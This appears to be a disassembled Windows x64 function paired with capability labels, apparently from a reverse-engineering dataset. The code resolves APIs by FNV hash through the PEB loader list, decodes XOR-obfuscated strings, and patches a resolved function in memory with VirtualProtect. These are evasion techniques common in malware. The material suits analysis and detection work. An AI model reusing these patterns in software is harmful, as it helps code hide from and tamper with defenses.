Function at 0x140047f90
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x14018bde8]
xor rax, rsp
mov qword [rbp - 1], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
xor ebx, ebx
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140048048
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140048048
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x83b2b923
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140048043
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140048020
cmp edx, 0x1916b146
je 0x14004878d
test r8d, r8d
jne 0x140048000
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14004805d
cmp qword [rax + 0x30], rbx
jne 0x140047fd0
mov r8, rbx
cmp byte [0x1400acc79], bl
movsd xmm0, qword [str.WN_PQ]
movzx eax, word [0x1400acc78]
movsd qword [rbp - 0x79], xmm0
mov word [rbp - 0x71], ax
je 0x1400480a8
xor byte [rbp - 0x78], 0x3a
xor byte [rbp - 0x77], 0x3b
xor byte [rbp - 0x76], 0x3c
xor byte [rbp - 0x75], 0x3d
xor byte [rbp - 0x74], 0x3e
xor byte [rbp - 0x73], 0x3f
xor byte [rbp - 0x72], 0x40
xor byte [rbp - 0x71], 0x41
xor byte [rbp - 0x70], 0x42
mov byte [rbp - 0x79], WSAGetLastError
mov qword [rsp + 0x100], r12
lea rcx, [rbp - 0x79]
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], r15
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm7
movaps xmmword [rsp + 0xa0], xmm8
call r8
mov r10, rax
test rax, rax
je 0x140048740
movzx ecx, word [0x1400acc90]
mov eax, Ordinal_33
movups xmm0, xmmword [str.XiTlZ_.6]
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r8d, ebx
mov word [rbp - 0x29], cx
movzx ecx, byte [0x1400acc92]
lea r13d, [rax - 0x1a]
mov byte [rbp - 0x27], cl
movups xmmword [rbp - 0x39], xmm0
cmp r12d, 2
jl 0x140048271
movdqa xmm0, xmmword [0x1400add80]
lea rcx, [rbp - 0x35]
movdqa xmm5, xmmword [0x1400adc20]
movdqa xmm4, xmmword [0x1400aded0]
movdqa xmm7, xmmword [0x1400adc40]
movdqa xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
movd xmm6, r13d
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400adcc0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400adcc0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140048160
cmp r8d, 0x13
jge 0x1400482b6
movsxd rax, r8d
lea r9, [rbp - 0x39]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x13
jl 0x140048280
lea rdx, [rbp - 0x39]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140048740
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140048368
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140048368
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xb69f5831
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140048363
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140048340
cmp edx, 0xa18ed5a0
je 0x1400487aa
test r8d, r8d
jne 0x140048320
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14004837d
cmp qword [rax + 0x30], rbx
jne 0x1400482f0
mov r10, rbx
mov eax, dword [0x1400acca0]
mov r8d, ebx
movsd xmm0, qword [str.R_IRXR_fro__E]
mov edi, Ordinal_33
mov dword [rbp - 0x59], eax
movzx eax, byte [0x1400acca4]
mov byte [rbp - 0x55], al
movsd qword [rbp - 0x61], xmm0
cmp r12d, 2
jl 0x1400484c2
movdqa xmm2, xmmword [0x1400adc20]
mov r8d, 8
movdqa xmm3, xmmword [0x1400adc30]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400aded0]
movdqa xmm0, xmm2
mov eax, dword [0x1400add80]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r13d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400adc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400adcc0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.R_IRXR_fro__E]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0x61], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400adc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400adcc0]
movd xmm1, dword [rbp - 0x5d]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp - 0x5d], xmm2
movsxd rax, r8d
lea r9, [rbp - 0x61]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x1400484d0
lea rcx, [rbp - 0x61]
call r10
mov r9, rax
test rax, rax
je 0x140048740
movzx ecx, byte [0x1400accb8]
mov byte [rbp - 0x69], cl
movups xmm0, xmmword [str.m_IQTP4_]
movups xmmword [rbp - 0x79], xmm0
cmp r12d, 2
jl 0x14004867e
movdqa xmm0, xmmword [0x1400add80]
lea rcx, [rbp - 0x75]
movdqa xmm5, xmmword [0x1400adc20]
movdqa xmm4, xmmword [0x1400aded0]
movdqa xmm7, xmmword [0x1400adc40]
movdqa xmmword [rbp - 0x19], xmm0
mov edx, dword [rbp - 0x19]
movd xmm6, r13d
movd xmm8, edi
nop
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
mov eax, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400adcc0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400adcc0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x10
jl 0x140048570
cmp eax, 0x11
jge 0x1400486c1
movsxd rax, ebx
lea r8, [rbp - 0x79]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
inc ebx
xor byte [r8 - 1], cl
cmp ebx, 0x11
jl 0x140048690
lea rdx, [rbp - 0x79]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140048740
xor ecx, ecx
lea r9, [rbp - 9]
mov dword [rbp - 0x41], ecx
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov ecx, 0x6a
mov dword [rbp - 0x45], eax
mov word [rbp - 0x51], cx
mov eax, 0xd0ff
mov byte [rbp - 0x4f], 0x68
mov dword [rbp - 0x4d], 0xffffffff
lea edx, [rcx - 0x56]
mov byte [rbp - 0x49], 0xb8
lea r8d, [rcx - 0x66]
mov word [rbp - 0x41], ax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140048740
movups xmm0, xmmword [rbp - 0x51]
mov eax, dword [rbp - 0x41]
lea r9, [rbp - 9]
mov edx, reloc.WS2_32.dll_sendto
mov rcx, r15
movups xmmword [r15], xmm0
mov dword [r15 + 0x10], eax
mov r8d, dword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movaps xmm8, xmmword [rsp + 0xa0]
xor eax, eax
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0xc0]
mov r15, qword [rsp + 0x110]
mov r13, qword [rsp + 0x108]
mov r12, qword [rsp + 0x100]
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.1400a1f00
add rsp, 0xd0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x140048060
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140048380